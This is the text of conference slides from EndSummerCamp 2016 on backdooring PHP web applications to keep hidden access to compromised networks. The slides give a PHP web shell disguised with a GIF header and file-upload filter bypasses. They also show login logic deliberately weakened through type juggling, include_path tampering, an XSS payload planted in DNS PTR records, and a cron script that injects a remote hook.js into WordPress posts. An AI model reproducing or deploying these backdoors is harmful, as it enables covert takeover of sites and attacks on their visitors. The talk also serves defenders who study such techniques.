Backdooring the web is the cheapest and most hidden way to achieve
persistence on a compromised network, both if you're looking at
privileges on the webapp itself or at executing command to underlying
system.
During the talk, we will discuss the context of a web backdoor: the
environment where she can born and grow up will be defined.
Each environmental aspect will be thoroughly analyzed: where is the best
point of injection, why we choose a specific function or trick, what
permissions are needed, how to trigger the backdoor in a safe, hidden
and reproducible way, and of course what to inject.
The talk will thus present several ways to inject obfuscated and hard to
spot vulnerabilities in PHP code. Shown examples will backdoor CMS
plugins as well as custom code, altering the code and polluting the
webapp ecosystem (read: DBMS and webservers).
5. guly@EndSummerCamp 2k16
backdoor context: requirements
▸ going in through port 80/443 is mandatory
▸ going out isn't
▸ has to be "hidden"
▸ must descend on application context
▸ should give privileged access
▸ could also be asynchronous
▸ must descend on application context
6. guly@EndSummerCamp 2k16
backdoor context: environment
▸ application layer: functions, like login and security check
▸ service layer: web server, application server, dbms
▸ operating system: permission, extension, configuration
7. guly@EndSummerCamp 2k16
backdoor context: application layer
▸ turns a "secure" webapp into a vulnerable one
▸ normally just needs read/write on docroot
▸ "easily" detectable if code is versioned
▸ doesn't survive to a good code review
▸ ...but survives to most coders' review
9. guly@EndSummerCamp 2k16
// fixed upload vulnerability: check if file
type is an image
if (!(exif_imagetype($file)) {
echo "file is not an imagen";
exit;
}
doUpload($file);
File upload exif_imagetype
shell.php:
GIF89a[CUT]<?php
exec($_GET['cmd'])
Comment: Pretend
that doUpload()
simply upload files,
with no further
check.
10. guly@EndSummerCamp 2k16
//assume just .php is interpreted as php
$blacklist = array('php');
$ext = strtolower(end(explode('.', $file)));
if (in_array($ext,$blacklist)) {
echo "extension blacklisted";
exit;
} else {
doUpload($file);
}
File upload extension with blacklist
shell.PhP
doUpload(strtolower($file));
12. guly@EndSummerCamp 2k16
$whitelist = array("jpg","png");
$ext = strtolower(end(explode('.', $file)));
if (!(in_array($ext,$whitelist))) {
echo "invalid file extensionn";
exit;
}
// avoid error on writing files with name
longer than filesystem limits
if ((strlen($file)) > 255) {
$file = substr($file,0,255);
}
doUpload($file);
File upload name length
Ax251.php.jpg
13. guly@EndSummerCamp 2k16
Authorization misuse
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = '0e';
Comment: getRole,
listUsers,listAdmins
are functions present
in admin dashboard
this is a login page
14. guly@EndSummerCamp 2k16
Authorization misuse[bis]
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = 'a';
if ($role > 0) {
isUser();
} else {
isAdmin();
}
Comment: if we switch the if statement,
we aren't even vulnerable to type juggling
and code analysis won't tell you that you
shouldn't use ==
16. guly@EndSummerCamp 2k16
backdoor context: service layer
▸ normally quite hidden
▸ and not so much detectable
▸ ...if you don't alter application codebase
▸ keeps logs quite clean
▸ almost everytime survives to code review
18. guly@EndSummerCamp 2k16
/*
* php.ini:
* include_path .= "/var/www/html/uploads/"
* open_basedir .= "/var/www/html/uploads/"
*/
function show($context) {
// (pretend) it's safe because of open_basedir and
// include_path = "/var/www/context/"
// docroot /var/www/html/
include $context.'.php';
// $context.php has specific run() foreach context
run($stuff);
}
function upload($file) {
// safe because /var/www/html/uploads php_flag engine off
doUpload($file);
}
include_path tampering
upload guly.php
gu.ly/?context=guly
http://gu.ly/?context=news
http://gu.ly/?context=about
19. guly@EndSummerCamp 2k16
DNS PTR XSS
function updateLogged($user) {
sanitize($user);
$ip = $_SERVER['REMOTE_ADDR'];
$resolver = new Net_DNS2_Resolver();
$res = $resolver->query($ip, 'PTR');
/* no need to sanitize DNS response, RFC does */
$host = $res->answer[0]->rdata;
$sql = "INSERT INTO tracking (usr,ip,host) value";
$sql .= "('".$user."','".$ip."','".$host."')";
}
function showLogged($id) {
/* input from database already sanitized at updateLogged */
list ($user,$ip,$host) = getRecords($id);
echo "User ".$user.", last login from ".$ip."(".$host.")n";
}
PTR: gu.ly<script/src=//gu.ly/s.js></script>
20. guly@EndSummerCamp 2k16
DB injected XSS
include "/var/www/html/wordpress/wp-config.php";
$blink = '<script src="http://gu.ly/hook.js"></script>';
$link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
$res = mysqli_query($link,"SELECT ID,post_content as pc FROM
wp_posts ORDER BY ID DESC LIMIT 1");
$row = $res->fetch_assoc();
if (!(strpos($row['pc'],$blink))) {
$query = 'UPDATE wp_posts set
post_content="'.mysqli_real_escape_string($link,$row['pc']);
$query .= mysqli_real_escape_string($link,$blink).'"
WHERE id ="'.$row["ID"].'"';
mysqli_query($link,$query);
}
mysqli_close($link);
/etc/cron.daily/wordpress
#!/usr/bin/php
21. guly@EndSummerCamp 2k16
backdoor context: operating system
▸ doesn't always need root privileges, but mostly
▸ detectable by sys/network admin, but not by devs
▸ logs should be clean
▸ ...monitoring system shouldn't
▸ could be removed by sys update